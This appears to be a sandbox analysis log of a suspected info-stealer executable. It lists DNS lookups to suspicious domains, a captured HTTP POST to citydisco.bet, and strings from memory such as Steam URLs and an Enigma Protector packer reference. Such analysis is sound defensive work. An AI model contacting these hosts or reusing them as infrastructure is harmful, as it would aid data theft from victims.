Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: citydisco.bet
Source: global traffic	DNS traffic detected: DNS query: featureccus.shop
Source: global traffic	DNS traffic detected: DNS query: mrodularmall.top
Source: global traffic	DNS traffic detected: DNS query: jowinjoinery.icu
Source: global traffic	DNS traffic detected: DNS query: legenassedk.top
Source: global traffic	DNS traffic detected: DNS query: htardwarehu.icu
Source: global traffic	DNS traffic detected: DNS query: cjlaspcorne.icu
Source: global traffic	DNS traffic detected: DNS query: bugildbett.top
Source: global traffic	DNS traffic detected: DNS query: latchclan.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: guntac.bet

Source: unknown

HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 73Host: citydisco.bet

Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000B1F000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000B1F000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugildbett.top:443/bAuzaMicrosoft
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: nvtoaldlrg.exe, 00000000.00000003.923936426.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gd
Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cjlaspcorne.icu:443/DbIpsMicrosoft
Source: nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastl
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=J1-T6FXbrr0Z&a
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=GlKQ1cghJWE2&l=english&_c
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=engli
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.pn
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=jfdbROVe
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=39xC
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=cMt-H-zOgNUp&l=english&am
